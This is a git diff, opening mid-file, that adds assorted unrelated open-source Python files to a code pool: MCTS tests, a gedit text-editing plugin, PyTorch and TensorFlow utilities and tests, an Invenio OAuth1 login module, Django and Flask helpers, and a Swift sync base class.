first at the root, then at this child. + self.assertEqual(root.N, 2) + # Root has 0 as a prior and two visits with value 0, -1 + self.assertAlmostEqual(root.Q, -1/3) # average of 0, 0, -1 + # Leaf should have one visit + self.assertEqual(root.child_N[leaf.fmove], 1) + self.assertEqual(leaf.N, 1) + # And that leaf's value had its parent's Q (0) as a prior, so the Q + # should now be the average of 0, -1 + self.assertAlmostEqual(root.child_Q[leaf.fmove], -0.5) + self.assertAlmostEqual(leaf.Q, -0.5) + + # We're assuming that select_leaf() returns a leaf like: + # root + # \ + # leaf + # \ + # leaf2 + # which happens in this test because root is W to play and leaf was a W win. + self.assertEqual(root.position.to_play, go.WHITE) + leaf2 = root.select_leaf() + leaf2.incorporate_results(probs, -0.2, root) # another white semi-win + self.assertEqual(root.N, 3) + # average of 0, 0, -1, -0.2 + self.assertAlmostEqual(root.Q, -0.3) + + self.assertEqual(leaf.N, 2) + self.assertEqual(leaf2.N, 1) + # average of 0, -1, -0.2 + self.assertAlmostEqual(leaf.Q, root.child_Q[leaf.fmove]) + self.assertAlmostEqual(leaf.Q, -0.4) + # average of -1, -0.2 + self.assertAlmostEqual(leaf.child_Q[leaf2.fmove], -0.6) + self.assertAlmostEqual(leaf2.Q, -0.6) + + def test_do_not_explore_past_finish(self): + probs = np.array([0.02] * ( + utils_test.BOARD_SIZE * utils_test.BOARD_SIZE + 1), dtype=np.float32) + root = MCTSNode(utils_test.BOARD_SIZE, go.Position(utils_test.BOARD_SIZE)) + root.select_leaf().incorporate_results(probs, 0, root) + first_pass = root.maybe_add_child( + coords.to_flat(utils_test.BOARD_SIZE, None)) + first_pass.incorporate_results(probs, 0, root) + second_pass = first_pass.maybe_add_child( + coords.to_flat(utils_test.BOARD_SIZE, None)) + with self.assertRaises(AssertionError): + second_pass.incorporate_results(probs, 0, root) + node_to_explore = second_pass.select_leaf() + # should just stop exploring at the end position. + self.assertEqual(node_to_explore, second_pass) + + def test_add_child(self): + root = MCTSNode(utils_test.BOARD_SIZE, go.Position(utils_test.BOARD_SIZE)) + child = root.maybe_add_child(17) + self.assertIn(17, root.children) + self.assertEqual(child.parent, root) + self.assertEqual(child.fmove, 17) + + def test_add_child_idempotency(self): + root = MCTSNode(utils_test.BOARD_SIZE, go.Position(utils_test.BOARD_SIZE)) + child = root.maybe_add_child(17) + current_children = copy.copy(root.children) + child2 = root.maybe_add_child(17) + self.assertEqual(child, child2) + self.assertEqual(current_children, root.children) + + def test_never_select_illegal_moves(self): + probs = np.array([0.02] * ( + utils_test.BOARD_SIZE * utils_test.BOARD_SIZE + 1)) + # let's say the NN were to accidentally put a high weight on an illegal move + probs[1] = 0.99 + root = MCTSNode(utils_test.BOARD_SIZE, SEND_TWO_RETURN_ONE) + root.incorporate_results(probs, 0, root) + # and let's say the root were visited a lot of times, which pumps up the + # action score for unvisited moves... + root.N = 100000 + root.child_N[root.position.all_legal_moves()] = 10000 + # this should not throw an error... + leaf = root.select_leaf() + # the returned leaf should not be the illegal move + self.assertNotEqual(leaf.fmove, 1) + + # and even after injecting noise, we should still not select an illegal move + for _ in range(10): + root.inject_noise() + leaf = root.select_leaf() + self.assertNotEqual(leaf.fmove, 1) + + def test_dont_pick_unexpanded_child(self): + probs = np.array([0.001] * ( + utils_test.BOARD_SIZE * utils_test.BOARD_SIZE + 1)) + # make one move really likely so that tree search goes down that path twice + # even with a virtual loss + probs[17] = 0.999 + root = MCTSNode(utils_test.BOARD_SIZE, go.Position(utils_test.BOARD_SIZE)) + root.incorporate_results(probs, 0, root) + leaf1 = root.select_leaf() + self.assertEqual(leaf1.fmove, 17) + leaf1.add_virtual_loss(up_to=root) + # the second select_leaf pick should return the same thing, since the child + # hasn't yet been sent to neural net for eval + result incorporation + leaf2 = root.select_leaf() + self.assertIs(leaf1, leaf2) + + +if __name__ == '__main__': + tf.test.main() diff --git a/pool/shard009/Python/0083661_init__.py b/pool/shard009/Python/0083661_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..baad0c4141d4665d7891e3719975481c40866108 --- /dev/null +++ b/pool/shard009/Python/0083661_init__.py @@ -0,0 +1,193 @@ +# -*- coding: utf8 -*- +# Text Tools Plugin +# +# Copyright (C) 2008 Shaddy Zeineddine +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# Some code was got from LineTools Plugin + +import gedit +import gtk + +class TextToolsPlugin(gedit.Plugin): + + line_tools_str = """ + + + + + + + + + + + + + + + + + + """ + + bookmarks = {} + + def __init__(self): + gedit.Plugin.__init__(self) + self.__select_word_special = False + + def activate(self, window): + actions = [ + ('TextTools', None, 'Text Tools'), + ('ClearLine', None, 'Clear Line', 'c', 'Remove all the characters on the current line', self.clear_line), + ('DuplicateLine', None, 'Duplicate Line', 'd', 'Create a duplicate of the current line below the current line', self.duplicate_line), + ('RaiseLine', None, 'Move Line Up', 'Up', 'Transpose the current line with the line above it', self.raise_line), + ('LowerLine', None, 'Move Line Down', 'Down', 'Transpose the current line with the line below it', self.lower_line), + ('SelectEnclosed', None, 'Select Enclosed Text','9', 'Select the content between enclose chars, quotes or tags', self.select_enclosed), + ('SelectWord', None, 'Select Word', 'W', 'Select the word located under cursor', self.select_word), + ('SelectWordSpecial', None, 'Select Word Special','W', 'Select the word located under cursor ignoring any delimiter', self.select_word_special) + ] + windowdata = dict() + window.set_data("TextToolsPluginWindowDataKey", windowdata) + windowdata["action_group"] = gtk.ActionGroup("GeditTextToolsPluginActions") + windowdata["action_group"].add_actions(actions, window) + manager = window.get_ui_manager() + manager.insert_action_group(windowdata["action_group"], -1) + windowdata["ui_id"] = manager.add_ui_from_string(self.line_tools_str) + window.set_data("TextToolsPluginInfo", windowdata) + + def deactivate(self, window): + windowdata = window.get_data("TextToolsPluginWindowDataKey") + manager = window.get_ui_manager() + manager.remove_ui(windowdata["ui_id"]) + manager.remove_action_group(windowdata["action_group"]) + + def update_ui(self, window): + view = window.get_active_view() + windowdata = window.get_data("TextToolsPluginWindowDataKey") + windowdata["action_group"].set_sensitive(bool(view and view.get_editable())) + + def clear_line(self, action, window): + # Got from LineTools plugin + doc = window.get_active_document() + doc.begin_user_action() + itstart = doc.get_iter_at_mark(doc.get_insert()) + itstart.set_line_offset(0); + is_end = itstart.ends_line() + if is_end == False: + itend = doc.get_iter_at_mark(doc.get_insert()) + is_end = itend.ends_line() + if is_end == False: + itend.forward_to_line_end() + doc.delete(itstart, itend) + doc.end_user_action() + + def duplicate_line(self, action, window): + # Got from LineTools plugin + doc = window.get_active_document() + doc.begin_user_action() + itstart = doc.get_iter_at_mark(doc.get_insert()) + itstart.set_line_offset(0); + itend = doc.get_iter_at_mark(doc.get_insert()) + itend.forward_line() + line = doc.get_slice(itstart, itend, True) + doc.insert(itend, line) + doc.end_user_action() + + def raise_line(self, action, window): + # Got from LineTools plugin + doc = window.get_active_document() + doc.begin_user_action() + itstart = doc.get_iter_at_mark(doc.get_insert()) + itstart.set_line_offset(0); + itstart.backward_line() + itend = doc.get_iter_at_mark(doc.get_insert()) + itend.set_line_offset(0); + line = doc.get_slice(itstart, itend, True) + doc.delete(itstart, itend) + itend.forward_line() + doc.insert(itend, line) + doc.end_user_action() + + def lower_line(self, action, window): + # Got from LineTools plugin + doc = window.get_active_document() + doc.begin_user_action() + itstart = doc.get_iter_at_mark(doc.get_insert()) + itstart.forward_line() + itend = doc.get_iter_at_mark(doc.get_insert()) + itend.forward_line() + itend.forward_line() + line = doc.get_slice(itstart, itend, True) + doc.delete(itstart, itend) + itstart.backward_line() + doc.insert(itstart, line) + doc.end_user_action() + + def select_enclosed(self, action, window): + """Select Characters enclosed by quotes or braces""" + starting_chars = ["`",'"', "'", "[", "(", "{", "<", ">", "/"] + ending_chars = ["`",'"', "'", "]", ")", "}", ">", "<", "/"] + beg_iter = None + end_iter = None + char_match = None + doc = window.get_active_document() + itr = doc.get_iter_at_mark(doc.get_insert()) + while itr.backward_char(): + if itr.get_char() in starting_chars: + char_match = ending_chars[starting_chars.index(itr.get_char())] + itr.forward_char() + beg_iter = itr.copy() + break + while itr.forward_char(): + if itr.get_char() == char_match: + end_iter = itr.copy() + break + doc.select_range(beg_iter, end_iter) + + def select_word_special(self, action, window): + self.__select_word_special = True + self.select_word(action, window) + self.__select_word_special = False + + def select_word(self, action, window): + """Select Characters enclosed by quotes or braces""" + beg_iter = None + end_iter = None + if self.__select_word_special: + word_delimiter_chars = [" ","\n"] + else: + word_delimiter_chars = [" ","\n", '"', "'", "[", "(", "{", "]", ")", "}", ":", ";", "`", "="] + char_match = None + doc = window.get_active_document() + itr = doc.get_iter_at_mark(doc.get_insert()) + while itr.backward_char(): + if itr.get_char() in word_delimiter_chars: + itr.forward_char() + beg_iter = itr.copy() + break + if beg_iter == None: + beg_iter = itr.copy() + + while itr.forward_char(): + if itr.get_char() in word_delimiter_chars: + end_iter = itr.copy() + break + if end_iter == None: + end_iter = itr.copy() + + if beg_iter and end_iter: + doc.select_range(beg_iter, end_iter) + diff --git a/pool/shard009/Python/0083664_utils.py b/pool/shard009/Python/0083664_utils.py new file mode 100644 index 0000000000000000000000000000000000000000..ec0f0a4c46a9538b10a9d4e17206b92f7ad902d4 --- /dev/null +++ b/pool/shard009/Python/0083664_utils.py @@ -0,0 +1,37 @@ +#!/usr/bin/env python3 + +from contextlib import contextmanager +from typing import Generator + +import torch + + +def approx_equal(self, other, epsilon=1e-4): + """ + Determines if two tensors are approximately equal + Args: + - self: tensor + - other: tensor + Returns: + - bool + """ + if self.size() != other.size(): + raise RuntimeError( + "Size mismatch between self ({self}) and other ({other})".format(self=self.size(), other=other.size()) + ) + return torch.max((self - other).abs()) <= epsilon + + +def get_cuda_max_memory_allocations() -> int: + """Get the `max_memory_allocated` for each cuda device""" + return torch.tensor([torch.cuda.max_memory_allocated(i) for i in range(torch.cuda.device_count())]) + + +@contextmanager +def least_used_cuda_device() -> Generator: + """Contextmanager for automatically selecting the cuda device + with the least allocated memory""" + mem_allocs = get_cuda_max_memory_allocations() + least_used_device = torch.argmin(mem_allocs).item() + with torch.cuda.device(least_used_device): + yield diff --git a/pool/shard009/Python/0083667_test_result_model.py b/pool/shard009/Python/0083667_test_result_model.py new file mode 100644 index 0000000000000000000000000000000000000000..792fd521428cc6dc4a4ef749710ffda7e8339b1d --- /dev/null +++ b/pool/shard009/Python/0083667_test_result_model.py @@ -0,0 +1,26 @@ +from django.db import models + +from edc_base.model.models import BaseUuidModel + + +class TestResultModel(BaseUuidModel): + + subject_identifier = models.CharField(max_length=25, db_index=True) + report_datetime = models.DateTimeField(null=True, db_index=True) + result = models.CharField(max_length=25) + result_datetime = models.DateTimeField() + + def get_report_datetime(self): + return self.result_datetime + + def get_test_code(self): + return 'HIV' + + def get_result_datetime(self): + return self.result_datetime + + def get_subject_identifier(self): + return self.subject_identifier + + class Meta: + app_label = 'lab_tracker' diff --git a/pool/shard009/Python/0083669_tf_should_use_test.py b/pool/shard009/Python/0083669_tf_should_use_test.py new file mode 100644 index 0000000000000000000000000000000000000000..f421ff9b402b44a5e0197f423a742ee4ea56f4d1 --- /dev/null +++ b/pool/shard009/Python/0083669_tf_should_use_test.py @@ -0,0 +1,139 @@ +# Copyright 2017 The TensorFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# ============================================================================== +"""Unit tests for tf_should_use.""" + +# pylint: disable=unused-import +import contextlib +import gc +import sys + +from tensorflow.python.eager import context +from tensorflow.python.eager import def_function +from tensorflow.python.framework import constant_op +from tensorflow.python.framework import test_util +from tensorflow.python.platform import test +from tensorflow.python.platform import tf_logging +from tensorflow.python.util import tf_should_use + + +@contextlib.contextmanager +def reroute_error(): + """Temporarily reroute errors written to tf_logging.error into `captured`.""" + with test.mock.patch.object(tf_should_use.tf_logging, 'error') as error: + yield error + + +class TfShouldUseTest(test.TestCase): + + def testAddShouldUseWarningWhenNotUsed(self): + c = constant_op.constant(0, name='blah0') + def in_this_function(): + h = tf_should_use._add_should_use_warning(c, warn_in_eager=True) + del h + with reroute_error() as error: + in_this_function() + msg = '\n'.join(error.call_args[0]) + self.assertIn('Object was never used', msg) + if not context.executing_eagerly(): + self.assertIn('blah0:0', msg) + self.assertIn('in_this_function', msg) + self.assertFalse(gc.garbage) + + def testAddShouldUseExceptionInEagerAndFunction(self): + def in_this_function(): + c = constant_op.constant(0, name='blah0') + h = tf_should_use._add_should_use_warning( + c, warn_in_eager=True, error_in_function=True) + del h + if context.executing_eagerly(): + with reroute_error() as error: + in_this_function() + msg = '\n'.join(error.call_args[0]) + self.assertIn('Object was never used', msg) + self.assertIn('in_this_function', msg) + self.assertFalse(gc.garbage) + + tf_fn_in_this_function = def_function.function(in_this_function) + with self.assertRaisesRegex(RuntimeError, + r'Object was never used.*blah0:0'): + tf_fn_in_this_function() + self.assertFalse(gc.garbage) + + def _testAddShouldUseWarningWhenUsed(self, fn, name): + c = constant_op.constant(0, name=name) + with reroute_error() as error: + h = tf_should_use._add_should_use_warning(c, warn_in_eager=True) + fn(h) + del h + error.assert_not_called() + + def testAddShouldUseWarningWhenUsedWithAdd(self): + def add(h): + _ = h + 1 + self._testAddShouldUseWarningWhenUsed(add, name='blah_add') + gc.collect() + self.assertFalse(gc.garbage) + + def testAddShouldUseWarningWhenUsedWithGetShape(self): + def get_shape(h): + _ = h.shape + self._testAddShouldUseWarningWhenUsed(get_shape, name='blah_get_name') + gc.collect() + self.assertFalse(gc.garbage) + + def testShouldUseResult(self): + @tf_should_use.should_use_result(warn_in_eager=True) + def return_const(value): + return constant_op.constant(value, name='blah2') + with reroute_error() as error: + return_const(0.0) + msg = '\n'.join(error.call_args[0]) + self.assertIn('Object was never used', msg) + if not context.executing_eagerly(): + self.assertIn('blah2:0', msg) + self.assertIn('return_const', msg) + gc.collect() + self.assertFalse(gc.garbage) + + def testShouldUseResultWhenNotReallyUsed(self): + @tf_should_use.should_use_result(warn_in_eager=True) + def return_const(value): + return constant_op.constant(value, name='blah3') + with reroute_error() as error: + with self.cached_session(): + return_const(0.0) + # Creating another op and executing it does not mark the + # unused op as being "used". + v = constant_op.constant(1.0, name='meh') + self.evaluate(v) + msg = '\n'.join(error.call_args[0]) + self.assertIn('Object was never used', msg) + if not context.executing_eagerly(): + self.assertIn('blah3:0', msg) + self.assertIn('return_const', msg) + gc.collect() + self.assertFalse(gc.garbage) + + # Tests that mark_used is available in the API. + def testMarkUsed(self): + @tf_should_use.should_use_result(warn_in_eager=True) + def return_const(value): + return constant_op.constant(value, name='blah3') + + with self.cached_session(): + return_const(0.0).mark_used() + +if __name__ == '__main__': + test.main() diff --git a/pool/shard009/Python/0083673_oauth1.py b/pool/shard009/Python/0083673_oauth1.py new file mode 100644 index 0000000000000000000000000000000000000000..d52dd106c8aeebd4c69d4a2978c12842172ac296 --- /dev/null +++ b/pool/shard009/Python/0083673_oauth1.py @@ -0,0 +1,229 @@ +# -*- coding: utf-8 -*- +# +# This file is part of Invenio. +# Copyright (C) 2012 CERN. +# +# Invenio is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 2 of the +# License, or (at your option) any later version. +# +# Invenio is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Invenio; if not, write to the Free Software Foundation, Inc., +# 59 Temple Place, Suite 330, Boston, MA 02111-1307, USA. + +""" +This module contains functions and methods to authenticate with OAuth1 +providers. +""" + +__revision__ = \ + "$Id$" + +from invenio.utils.container import get_substructure +from invenio.legacy.dbquery import run_sql +from invenio.legacy.external_authentication import ExternalAuth + +class ExternalOAuth1(ExternalAuth): + """ + Contains methods for authenticate with an OpenID provider. + """ + + @staticmethod + def __init_req(req): + req.g['oauth1_provider_name'] = '' + req.g['oauth1_debug'] = 0 + req.g['oauth1_msg'] = '' + req.g['oauth1_debug_msg'] = '' + req.g['oauth1_response'] = None + + def auth_user(self, username, password, req=None): + """ + Tries to find email and identity of the user from OAuth1 provider. If it + doesn't find any of them, returns (None, None) + + @param username: Isn't used in this function + @type username: str + + @param password: Isn't used in this function + @type password: str + + @param req: request + @type req: invenio.legacy.wsgi.SimulatedModPythonRequest + + @rtype: str|NoneType, str|NoneType + """ + from invenio.modules.access.local_config import CFG_OAUTH1_CONFIGURATIONS + from invenio.modules.access.local_config import CFG_OAUTH1_PROVIDERS + from invenio.ext.legacy.handler import wash_urlargd + from rauth.service import OAuth1Service + + self.__init_req(req) + + args = wash_urlargd(req.form, {'provider': (str, ''), + 'login_method': (str, ''), + 'oauth_token': (str, ''), + 'oauth_verifier': (str, ''), + 'denied': (str, '') + }) + provider_name = req.g['oauth1_provider_name'] = args['provider'] + + if not provider_name in CFG_OAUTH1_PROVIDERS: + req.g['oauth1_msg'] = 22 + return None, None + + # Load the configurations to construct OAuth1 service + config = CFG_OAUTH1_CONFIGURATIONS[args['provider']] + + req.g['oauth1_debug'] = config.get('debug', 0) + + if not args['oauth_token']: + # In case of an error, display corresponding message + if args['denied']: + req.g['oauth1_msg'] = 21 + return None, None + else: + req.g['oauth1_msg'] = 22 + return None, None + + provider = OAuth1Service( + name = req.g['oauth1_provider_name'], + consumer_key = config['consumer_key'], + consumer_secret = config['consumer_secret'], + request_token_url = config['request_token_url'], + access_token_url = config['access_token_url'], + authorize_url = config['authorize_url'], + header_auth = True) + + # Get the request token secret from database and exchange it with the + # access token. + query = """SELECT secret FROM oauth1_storage WHERE token = %s""" + params = (args['oauth_token'],) + try: + # If the request token is already used, return + request_token_secret = run_sql(query, params)[0][0] + except IndexError: + req.g['oauth1_msg'] = 22 + return None, None + + response = provider.get_access_token( + 'GET', + request_token = args['oauth_token'], + request_token_secret = request_token_secret, + params = { + 'oauth_verifier': args['oauth_verifier'] + } + ) + + if req.g['oauth1_debug']: + req.g['oauth1_debug_msg'] = str(response.content) + "
" + + # Some providers send the identity and access token together. + email, identity = self._get_user_email_and_id(response.content, req) + + if not identity and 'request_url' in config: + # For some providers, to reach user profile we need to make request + # to a specific url. + params = config.get('request_parameters', {}) + response = provider.get(config['request_url'], + params = params, + access_token = response.content['oauth_token'], + access_token_secret = response.content['oauth_token_secret'] + ) + + if req.oauth1_debug: + req.g['oauth1_debug_msg'] += str(response.content) + "
" + + email, identity = self._get_user_email_and_id(response.content, req) + + if identity: + # If identity is found, add the name of the provider at the + # beginning of the identity because different providers may have + # different users with same id. + identity = "%s:%s" % (req.g['oauth1_provider_name'], identity) + else: + req.g['oauth1_msg'] = 23 + + # Delete the token saved in the database since it is useless now. + query = """ + DELETE FROM oauth1_storage + WHERE token=%s + OR date_creation < DATE_SUB(NOW(), INTERVAL 1 HOUR) + """ + params = (args['oauth_token'],) + run_sql(query, params) + + if req.g['oauth1_debug']: + req.g['oauth1_msg'] = "%s" % req.g['oauth1_debug_msg'].replace("\n", "
") + return None, None + + return email, identity + + def fetch_user_nickname(self, username, password=None, req=None): + """ + Fetches the OAuth1 provider for nickname of the user. If it doesn't + find any, returns None. + + This function doesn't need username, password or req. They are exist + just because this class is derived from ExternalAuth + + @param username: Isn't used in this function + @type username: str + + @param password: Isn't used in this function + @type password: str + + @param req: Isn't used in this function + @type req: invenio.legacy.wsgi.SimulatedModPythonRequest + + @rtype: str or NoneType + """ + from invenio.modules.access.local_config import CFG_OAUTH1_CONFIGURATIONS + + if req.g['oauth1_provider_name']: + path = None + if 'nickname' in CFG_OAUTH1_CONFIGURATIONS[req.g['oauth1_provider_name']]: + path = CFG_OAUTH1_CONFIGURATIONS[req.g['oauth1_provider_name']]['nickname'] + + if path: + return get_substructure(req.oauth1_response, path) + else: + return None + + def _get_user_email_and_id(self, container, req): + """ + Returns external identity and email address together. Since identity is + essential for OAuth1 authentication, if it doesn't find external + identity returns None, None. + + @param container: container which contains email and id + @type container: list|dict + + @rtype str|NoneType, str|NoneType + """ + from invenio.modules.access.local_config import CFG_OAUTH1_CONFIGURATIONS + + identity = None + email = None + + if 'id' in CFG_OAUTH1_CONFIGURATIONS[req.g['oauth1_provider_name']]: + path = CFG_OAUTH1_CONFIGURATIONS[req.g['oauth1_provider_name']]['id'] + identity = get_substructure(container, path) + + if identity: + if 'email' in CFG_OAUTH1_CONFIGURATIONS[req.g['oauth1_provider_name']]: + path = CFG_OAUTH1_CONFIGURATIONS[req.g['oauth1_provider_name']]['email'] + email = get_substructure(container, path) + + req.g['oauth1_response'] = container + + return email, identity + + @staticmethod + def get_msg(req): + return req.g['oauth1_msg'] diff --git a/pool/shard009/Python/0083674_extract4category.py b/pool/shard009/Python/0083674_extract4category.py new file mode 100644 index 0000000000000000000000000000000000000000..b3b0a4c116b64bc371ee9184d0e88f4c6a019110 --- /dev/null +++ b/pool/shard009/Python/0083674_extract4category.py @@ -0,0 +1,47 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- +# http://www.python.org/dev/peps/pep-0263/ +from __future__ import division; +from decimal import Decimal; +import re; +from collections import OrderedDict +import csv, json +from argparse import ArgumentParser + +from bukvik.io.BukvikIO import BukvikIO +from bukvik.debug.BukvikDebug import BukvikDebug + +class Extract4Category(): + def __init__(self, name): + pass; + + def process(self, task): + # TODO ... conversion + + categories = task["parameters"]["categories"] + dataOut = {} + + # TODO: + + dataOutStr = json.dumps(dataOut, sort_keys=True, indent=4, separators=(',', ': ')) + + filenameOut = task["parameters"]["filenameOut"]; + encoding = "utf-8"; + io.saveFile(filenameOut, dataOutStr, encoding) + +a = Extract4Category("Extract Writers"); + +parser = ArgumentParser(description='This Colabo Puzzle Extracts the list of wikipedia pages (references) that belongs to a specified category') +parser.add_argument("-t", "--task", dest="task_filename", + help="JSON file with the task description", default=True, metavar="") + +args = parser.parse_args() + +io = BukvikIO(); +encoding = "utf-8"; +BukvikDebug.debug("__MAIN__", "", + "loading Task file, filenameIn = %s (encoding: %s)" % (args.task_filename, encoding)) +taskStr = io.loadFile(args.task_filename, encoding) +taskObj = json.loads(taskStr) +# print(taskObj) +a.process(taskObj); diff --git a/pool/shard009/Python/0083680_test_controller.py b/pool/shard009/Python/0083680_test_controller.py new file mode 100644 index 0000000000000000000000000000000000000000..34f9c121ea14a51d158f0cd7c931e17a030b174a --- /dev/null +++ b/pool/shard009/Python/0083680_test_controller.py @@ -0,0 +1,35 @@ +# Copyright 2014 The guava Authors. All rights reserved. +# Use of this source code is governed by a BSD-style +# license that can be found in the LICENSE file. + +import unittest +import guava + + +class MyController(guava.controller.Controller): + + def index(self): + pass + + +class TestController(unittest.TestCase): + + def setUp(self): + pass + + def test_controller(self): + c = MyController() + + self.assertTrue(c.set_header != None) + self.assertTrue(c.write != None) + self.assertTrue(c.set_status_code != None) + self.assertTrue(c.redirect != None) + self.assertTrue(c.before_action != None) + self.assertTrue(c.after_action != None) + self.assertTrue(c.set_cookie != None) + + self.assertEqual(c.GET, {}) + + +if __name__ == '__main__': + unittest.main() diff --git a/pool/shard009/Python/0083682_template_filters.py b/pool/shard009/Python/0083682_template_filters.py new file mode 100644 index 0000000000000000000000000000000000000000..f17d5de825b11cda9c03938d2359b53de2e33099 --- /dev/null +++ b/pool/shard009/Python/0083682_template_filters.py @@ -0,0 +1,47 @@ +# coding: utf-8 + +# TODO load from blueprints + +import sys + +from flask import Blueprint +from werkzeug.routing import Rule +from quokka.core.app import QuokkaModule +from quokka.core.models import Content +from quokka_themes import Theme + + +if sys.version_info.major == 3: + unicode = lambda x: u'{}'.format(x) # noqa + basestring = str # noqa + +basetypes = ( + int, str, float, dict, list, tuple, Blueprint, QuokkaModule, Theme, Rule, + basestring, unicode) + + +def is_instance(v, cls): + cls_map = { + tp.__name__: tp for tp in basetypes + } + return isinstance(v, cls_map.get(cls, str)) + + +def get_content(**kwargs): + try: + return Content.objects.get(**kwargs) + except: + return None + + +def get_contents(limit=None, order_by="-created_at", **kwargs): + contents = Content.objects.filter(**kwargs).order_by(order_by) + if limit: + contents = contents[:limit] + return contents + + +def configure(app): + app.jinja_env.filters['isinstance'] = is_instance + app.add_template_global(get_content) + app.add_template_global(get_contents) diff --git a/pool/shard009/Python/0083684_db_tests.py b/pool/shard009/Python/0083684_db_tests.py new file mode 100644 index 0000000000000000000000000000000000000000..55055fd525fe73f895c43ef478c9f8fe691cfe24 --- /dev/null +++ b/pool/shard009/Python/0083684_db_tests.py @@ -0,0 +1,40 @@ +# coding=UTF-8 +# Author: Dennis Lutter +# URL: http://code.google.com/p/sickbeard/ +# +# This file is part of Sick Beard. +# +# Sick Beard is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# Sick Beard is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Sick Beard. If not, see . + +import unittest +import test_lib as test + + +class DBBasicTests(test.SickbeardTestDBCase): + + def setUp(self): + super(DBBasicTests, self).setUp() + self.db = test.db.DBConnection() + + def test_select(self): + self.db.select("SELECT * FROM tv_episodes WHERE showid = ? AND location != ''", [0000]) + + +if __name__ == '__main__': + print "==================" + print "STARTING - DB TESTS" + print "==================" + print "######################################################################" + suite = unittest.TestLoader().loadTestsFromTestCase(DBBasicTests) + unittest.TextTestRunner(verbosity=2).run(suite) diff --git a/pool/shard009/Python/0083688_proxy.py b/pool/shard009/Python/0083688_proxy.py new file mode 100644 index 0000000000000000000000000000000000000000..27b5fc3cd5fcbc0c4ba4b4659a7971c7a22b2f01 --- /dev/null +++ b/pool/shard009/Python/0083688_proxy.py @@ -0,0 +1,95 @@ +# -*- coding: utf-8 -*- + +# Pyhaa - Templating system for Python 3 +# Copyright (c) 2011 Tomasz Kowalczyk +# Contact e-mail: code@fluxid.pl +# +# This library is free software: you can redistribute it and/or modify it under +# the terms of the GNU Lesser General Public License as published by the Free +# Software Foundation, either version 3 of the License, or (at your option) any +# later version. +# +# This library is distributed in the hope that it will be useful, but WITHOUT +# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more +# details. +# +# You should have received a copy of the GNU Lesser General Public License +# along with this library in the file COPYING.LESSER. If not, see +# . + +class BoundPartial: + def __init__(self, instance, parent, name, partial): + self.instance = instance + self.parent = parent + self.name = name + self.partial = partial + + def __call__(self, *args, **kwargs): + return self.partial(self.instance, self.parent, *args, **kwargs) + + def __repr__(self): + return '<{} {} {}>'.format( + self.__class__.__name__, + self.name, + self.partial, + ) + + +class NamespaceLookup: + def __getattr__(self, name): + #if name.startswith('_ph_'): + # getattr(super(NamespaceLookup, self), name) + try: + result = getattr(self._ph_template, name) + except AttributeError: + pass + else: + return result + + partial = self._ph_template.get_partial(name) + if partial: + result = BoundPartial(self._ph_instance, self._ph_parent, name, partial) + return result + if self._ph_parent: + return getattr(self._ph_parent, name) + + # TODO Template X has no attribyte Y + raise AttributeError(name) + + def __call__(self, *args, **kwargs): + partial = getattr(self, '__body__') + return partial(*args, **kwargs) + + +class ParentProxy(NamespaceLookup): + __slots__ = ('_ph_instance', '_ph_template', '_ph_parent') + + def __init__(self, instance, template): + self._ph_instance = instance + self._ph_template = template + self._ph_parent = None + + +class InstanceProxy(NamespaceLookup): + def __init__(self, inheritance_chain, environment): + iiter = iter(inheritance_chain) + template = next(iiter) + + self._ph_instance = self + self._ph_template = template + self._ph_parent = None + self._ph_environment = environment + + last_one = self + for parent_template in iiter: + last_one._ph_parent = parent = ParentProxy(self, parent_template) + last_one = parent + + + def __repr__(self): + return '<{} {}>'.format( + self.__class__.__name__, + repr(self._ph_template), + ) + diff --git a/pool/shard009/Python/0083692_base_sync.py b/pool/shard009/Python/0083692_base_sync.py new file mode 100644 index 0000000000000000000000000000000000000000..38f84230144dd2a554e5241d5f7432773725a9e3 --- /dev/null +++ b/pool/shard009/Python/0083692_base_sync.py @@ -0,0 +1,65 @@ +# Copyright (c) 2016-2021, NVIDIA CORPORATION. +# SPDX-License-Identifier: Apache-2.0 + +import os + + +class BaseSync(object): + """ + Base class for all classes that implement the sync functionality. Sets up + the swift client with the default configuration, which points to the local + Swift configuration. Supplies the skeleton methods that must be overwritten + by all child classes. + """ + + def __init__(self, status_dir, settings, per_account=False): + """Base class that all users of the ContainerCrawler should derive from + + Arguments: + status_dir -- directory that contains the sync status files + settings -- sync settings; contains at least the following keys: + account -- the Swift account that is synced + container -- the specific container within the account + Any other keys are provider specific. + + Keyword arguments: + per_account -- whether the operation is happening on every container in + the account. + """ + self._status_dir = status_dir + self._account = settings['account'] + self._container = settings['container'] + if 'internal_account' in settings and 'internal_container' in settings: + # sharded containers maybe in a hidden account that we use for + # status file tracking + self._status_file = os.path.join( + self._status_dir, + settings['internal_account'], + settings['internal_container']).encode('utf-8') + self._status_account_dir = os.path.join( + self._status_dir, settings['internal_account']).encode('utf-8') + else: + self._status_file = os.path.join(self._status_dir, self._account, + self._container).encode('utf-8') 